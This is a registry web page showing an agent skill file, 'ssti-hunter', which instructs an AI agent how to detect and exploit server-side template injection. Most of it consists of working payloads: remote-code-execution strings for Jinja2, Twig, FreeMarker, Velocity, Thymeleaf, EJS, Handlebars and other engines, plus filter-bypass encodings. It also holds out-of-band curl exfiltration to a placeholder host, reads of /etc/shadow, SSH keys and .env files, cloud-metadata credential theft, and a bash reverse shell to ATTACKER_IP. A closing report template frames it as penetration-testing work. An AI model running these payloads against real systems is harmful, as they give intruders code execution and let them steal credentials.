agentleFS
RifteoRifteo/skills/ssti-hunter/SKILL.md

ssti-hunter

Skill37 starsChanged 5 months agoMITView on GitHub

An SSTI detection, fingerprinting, and exploitation engine. Triggered by suspected server-side evaluation (e.g., {{7*7}} = 49) or stack traces referencing a template engine (Jinja2, Twig, FreeMarker, etc.). Facilitates blind detection, sandbox escapes, and escalation to RCE. Includes report structuring (severity, CWE, remediation).

  • Reads credentials

The file

We split this skill into the rules it gives an agent

1 rule. About 0 are common, 1 is distinctive, and 0 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈1

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    When output is not reflected (email, PDF, background job):

    line 398

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

SSTI Hunter — Server-Side Template Injection

SSTI occurs when user input is embedded directly into a template and evaluated by the engine. The result is almost always Remote Code Execution on the server.


Phase 1 — Find Injection Points

SurfaceExample
URL query parameters/search?q=Hello
URL path segments/greet/John
HTTP headersUser-Agent, Referer, custom headers
Form inputs / POST bodyName, email, message fields
Cookiesusername=John, theme/locale cookies
File namesUpload endpoints echoing the original filename
Email templatesName field in password reset emails
Profile fieldsDisplay name, bio, job title

Confirm reflection first: submit a canary string (e.g. SSTI_TEST_1337) and verify it appears in the response before probing.


Phase 2 — Detect: Is It Vulnerable?

Send each probe — look for the evaluated result, not the literal string:

{{7*7}}          → 49
${7*7}           → 49
<%= 7*7 %>       → 49
#{7*7}           → 49
*{7*7}           → 49
{{7*'7'}}        → 49 or 7777777  (engine-differentiating)
  • Evaluated result → confirmed SSTI
  • Literal string reflected → not injectable (or filtered)
  • 500 error → still injectable; note the stack trace — it usually names the engine

Error-trigger probes:

{{          → Jinja2/Twig unclosed tag
${          → FreeMarker/Velocity/Mako unclosed expression
<#assign x= → FreeMarker syntax error
@{1+1}      → Thymeleaf expression error

Phase 3 — Fingerprint: Which Engine?

Start: submit {{7*7}}
│
├─ Returns 49
│   ├─ {{7*'7'}} → 7777777   →  Jinja2  (Python)
│   ├─ {{7*'7'}} → 49        →  Twig    (PHP)
│   └─ {{dump(1)}} returns   →  Smarty  (PHP) — also try {7*7}
│
├─ {{ fails but ${7*7} → 49
│   ├─ Java stack trace
│   │   ├─ "FreeMarker"      →  FreeMarker (Java)
│   │   ├─ "Velocity"        →  Velocity   (Java)
│   │   ├─ "Pebble"          →  Pebble     (Java)
│   │   └─ "Thymeleaf"       →  Thymeleaf  (Java) — also try *{7*7}
│   └─ Python stack trace    →  Mako (Python)
│
├─ <%= 7*7 %> → 49
│   ├─ Ruby headers/trace    →  ERB   (Ruby)
│   └─ Node headers/trace    →  EJS   (Node.js)
│
├─ #{7*7} → 49               →  Pug   (Node.js) or Smarty (PHP)
│
└─ *{7*7} or [[${7*7}]] → 49 →  Thymeleaf (Java / Spring)

Engine Reference

EngineLanguageFrameworkDelimiters
Jinja2PythonFlask, Django, Ansible{{ }} {% %}
TwigPHPSymfony, WordPress{{ }} {% %}
SmartyPHPLegacy PHP{ }
MakoPythonPyramid${ } <% %>
FreeMarkerJavaSpring MVC${ } <#...>
VelocityJavaJIRA, Confluence$var #set
PebbleJavaSpring{{ }} {% %}
ThymeleafJavaSpring Boot*{ } [[ ]]
ERBRubyRails<%= %> <% %>
EJSJavaScriptExpress<%= %> <% %>
Pug/JadeJavaScriptExpress#{ } - code
HandlebarsJavaScriptExpress{{ }}
NunjucksJavaScriptExpress{{ }} {% %}

Phase 4 — Exploitation per Engine

Confirmation payloads are in Phase 2/3. Jump straight to RCE.


4.1 Jinja2 (Python — Flask / Django / Ansible)

# RCE via globals (simplest)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Flask global shortcuts
{{lipsum.__globals__['os'].popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}

# Via request (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Find Popen dynamically (when index is unknown)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in cls.__name__ %}
    {{cls(['id'],stdout=-1).communicate()[0].decode()}}
  {% endif %}
{% endfor %}

# File read
{{config.__class__.__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

4.2 Twig (PHP — Symfony / WordPress / Craft CMS)

# RCE via filter callback (Twig < 1.20)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# RCE via map/filter (Twig 1.x)
{{["id"]|map("system")|join}}
{{['id']|filter('system')}}
{{[1,2]|sort((a,b)=>system('id'))}}

# File read
{{source('/etc/passwd')}}

# Twig 2.x / 3.x (hardened — abuse attribute function)
{{attribute(loop.body,'include',{template:'/etc/passwd'})}}

4.3 Smarty (PHP — legacy apps)

# RCE — php tag enabled (Smarty 2.x / 3.x)
{php}echo `id`;{/php}

# RCE — static method call
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

# RCE — php tag disabled (Smarty 3+)
{math equation="0" format="%1\$s" a=system('id')}
{assign var=a value='id'}{if system($a)}{/if}

4.4 Mako (Python — Pyramid / standalone)

# Expression block
${__import__('os').popen('id').read()}

# Code block
<%
import os
x = os.popen('id').read()
%>
${x}

# Module-level block
<%!
import os
%>
${os.popen('id').read()}

4.5 FreeMarker (Java — Spring MVC / standalone)

# RCE via Execute class
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# RCE via API access (FreeMarker 2.3.22+)
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("java.lang.Runtime")>
<#assign runtime=clazz?api.getRuntime()>
<#assign process=runtime?api.exec("id")>
<#assign is=process?api.inputStream>
<#assign br=["java.io.BufferedReader"]?new(["java.io.InputStreamReader"]?new(is))>
${br?api.readLine()}

# File read
<#assign file=["java.io.File"]?new("/etc/passwd")>
<#assign scanner=["java.util.Scanner"]?new(file)>
${scanner.useDelimiter("\\Z").next()}

# Square bracket syntax (alternate delimiters)
[#assign ex="freemarker.template.utility.Execute"?new()][=ex("id")]

4.6 Velocity (Java — JIRA / Confluence / legacy)

# RCE via ClassTool
#set($runtime=$class.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($reader=new java.io.BufferedReader(new java.io.InputStreamReader($process.getInputStream())))
$reader.readLine()

# RCE via VelocityView (VelocityTools)
#set($x=$request.class.forName("java.lang.Runtime"))
#set($rt=$x.getMethod("getRuntime",$x.forName("java.lang.Class")[0]).invoke(null,null))
#set($p=$rt.exec("id"))
#set($reader=new java.io.BufferedReader(new java.io.InputStreamReader($p.inputStream)))
$reader.readLine()

4.7 Pebble (Java — Spring / standalone)

{% set rt = "".__class__.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null) %}
{% set cmd = rt.exec("id") %}
{% set is = cmd.inputStream %}
{% set isr = "".__class__.forName("java.io.InputStreamReader").__constructor__(is).newInstance(is) %}
{% set br = "".__class__.forName("java.io.BufferedReader").__constructor__(isr).newInstance(isr) %}
{{ br.readLine() }}

4.8 Thymeleaf (Java — Spring Boot)

Thymeleaf SSTI usually appears in Spring MVC path variables mapped to template names: return "user/" + userInput;

# Detect (SpEL inline expressions)
*{7*7}
[[${7*7}]]

# RCE via T() SpEL operator
*{T(java.lang.Runtime).getRuntime().exec('id')}

# RCE with output capture via ProcessBuilder
*{new java.util.Scanner(
    new java.lang.ProcessBuilder(new String[]{"id"}).start().getInputStream()
).useDelimiter("\\A").next()}

# File read
*{new java.util.Scanner(new java.io.File('/etc/passwd')).useDelimiter("\\A").next()}

# Environment dump
*{T(java.lang.System).getenv()}

4.9 ERB (Ruby — Rails)

<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>

4.10 EJS (JavaScript — Express / Node.js)

<%= require('child_process').execSync('id').toString() %>
<%= require('fs').readFileSync('/etc/passwd','utf8') %>

// EJS options injection (when options object is user-controlled)
{"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}

4.11 Pug / Jade (JavaScript — Express / Node.js)

- var x = require('child_process').execSync('id').toString()
= x

- var f = require('fs').readFileSync('/etc/passwd','utf8')
= f

4.12 Handlebars (JavaScript — Express / standalone)

Handlebars is logic-less — RCE requires prototype pollution (< 4.7.7):

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id').toString();"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

4.13 Nunjucks (JavaScript — Express / Mozilla)

// Via constructor chain
{{"test".constructor.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}

// Via range global
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}

Phase 5 — Bypass Techniques

5.1 String Concatenation

# Jinja2 — split blocked keywords
{{''.__class__['__m'+'ro__']}}
{{config['__class__']['__init__']['__glob'+'als__']['os']['po'+'pen']('id').read()}}

5.2 Encoding Bypasses

%7B%7B7*7%7D%7D          URL-encoded {{7*7}}
%257B%257B7*7%257D%257D  Double URL-encoded
&#123;&#123;7*7&#125;&#125;  HTML entities
{{7*7}}               Fullwidth braces (Unicode normalization)

5.3 Alternate Attribute Access (Jinja2)

obj.attr         →  obj['attr']  or  obj|attr('attr')
''.__class__     →  ''['\x5f\x5fclass\x5f\x5f']
# Full encoded bypass (Flask)
{{request|attr('\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

5.4 Comment Injection

# Break naive "{{" WAF detection
{{7{#comment#}*7}}
{{- 7*7 -}}

# FreeMarker square bracket alternate syntax
[=7*7]
[#assign ex="freemarker.template.utility.Execute"?new()][=ex("id")]

Phase 6 — Blind SSTI

When output is not reflected (email, PDF, background job):

Time-Based

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}
# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 5")}
# ERB
<%= `sleep 5` %>
# EJS
<%= require('child_process').execSync('sleep 5') %>

Out-of-Band (Burp Collaborator / interactsh)

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('curl http://OOB.URL/?x=$(id|base64)').read()}}
# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("curl http://OOB.URL/?x=$(id|base64)")}
# ERB
<%= `curl http://OOB.URL/?x=$(id|base64)` %>
# EJS
<%= require('child_process').execSync('curl http://OOB.URL/?x=$(id|base64)') %>

Phase 7 — Escalate Impact

Sensitive Files

/etc/passwd
/etc/shadow               (root only)
/proc/self/environ        (env vars — secrets, API keys)
~/.ssh/id_rsa             (SSH private key)
.env                      (DB creds, API keys)
config/database.yml       (Rails DB credentials)
/app/settings.py          (Django SECRET_KEY, DB)
/var/www/html/wp-config.php

Cloud Metadata (SSRF via RCE)

# AWS IAM credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# GCP token
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure token
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Reverse Shell

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Phase 8 — Confirm the Finding

  • Math expression evaluated server-side (not reflected as-is)
  • Engine identified from decision tree
  • RCE payload returned id/whoami output — OR — blind confirmed via time delay / OOB
  • Reproducible in a fresh session with attacker's own credentials

False positive checks:

  • {{7*7}} displayed literally → not SSTI (template may sanitize or escape output)
  • {{7*7}} evaluated in the browser → client-side injection (AngularJS), not SSTI

Phase 9 — Report Structure

Title: SSTI in [parameter] on [endpoint] — RCE via [Engine Name]

Severity: Critical
CWE: CWE-94 | OWASP: A03:2021 – Injection

Affected endpoint: [METHOD] [URL]
Affected parameter: [name]
Template engine: [Engine + Language]

Steps to reproduce:
1. Send: [exact HTTP request with payload]
2. Observe: response contains [evaluated output]
3. Escalated PoC: [RCE payload] → output: [id command result / OOB callback]

Impact:
- RCE as [process user]
- Full compromise of application secrets and credentials
- Lateral movement to internal network / cloud metadata

Evidence:
- Request / Response snippet showing evaluation
- OOB callback log (for blind SSTI)

Remediation:
- Never render user input as a template string
  UNSAFE: render(user_input)
  SAFE:   render("Hello {{ name }}", {"name": user_input})
- Jinja2: use SandboxedEnvironment
- Twig: enable sandbox extension
- FreeMarker: set TemplateClassResolver.SAFER_RESOLVER
- Input validation alone is insufficient — template syntax is too varied

Quick-Reference: Priority Order

  1. URL query parameters — fastest, most common
  2. Error pages that reflect input — stack trace names the engine
  3. Template/theme selection params — ?template=, ?theme=, ?lang=
  4. Name/display fields — often rendered in emails or PDFs (blind)
  5. Admin / CMS template editors — high privilege, maximum impact

Reference Files

  • references/payloads.md — Per-engine payload cheatsheet
  • references/tools.md — tplmap, SSTImap, Burp extensions, Nuclei

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.